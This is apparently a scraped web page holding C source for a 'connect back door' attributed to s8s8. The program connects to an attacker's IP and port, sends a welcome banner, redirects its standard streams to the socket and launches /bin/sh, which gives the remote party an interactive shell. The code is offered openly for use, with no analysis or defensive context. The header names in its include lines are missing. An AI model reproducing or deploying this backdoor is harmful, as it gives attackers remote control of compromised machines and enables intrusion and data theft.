#include #include #include #include #include #include #include
void usage(); char shell[]="/bin/sh"; char message[]="s8s8 welcome\n"; int sock; int main(int argc, char *argv[]) { if(argc <3){ usage(argv[0]); }
struct sockaddr_in server; if((sock = socket(af_inet, sock_stream, 0)) == -1) { printf("couldnt make socket!\n"); exit(-1); }
server.sin_family = af_inet; server.sin_port = htons(atoi(argv[2])); server.sin_addr.s_addr = inet_addr(argv[1]);
if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) { printf("could not connect to remote shell!\n"); exit(-1); } send(sock, message, sizeof(message), 0); dup2(sock, 0); dup2(sock, 1); dup2(sock, 2); execl(shell,"/bin/sh",(char *)0); close(sock); return 1; }
void usage(char *prog[]) { printf("\t\ts8s8 connect back door\n\n"); printf("\t sql@s8s8.net\n\n"); printf("usage: %s \n", prog); exit(-1); }
© 2006-2008 All Rights Reserved
|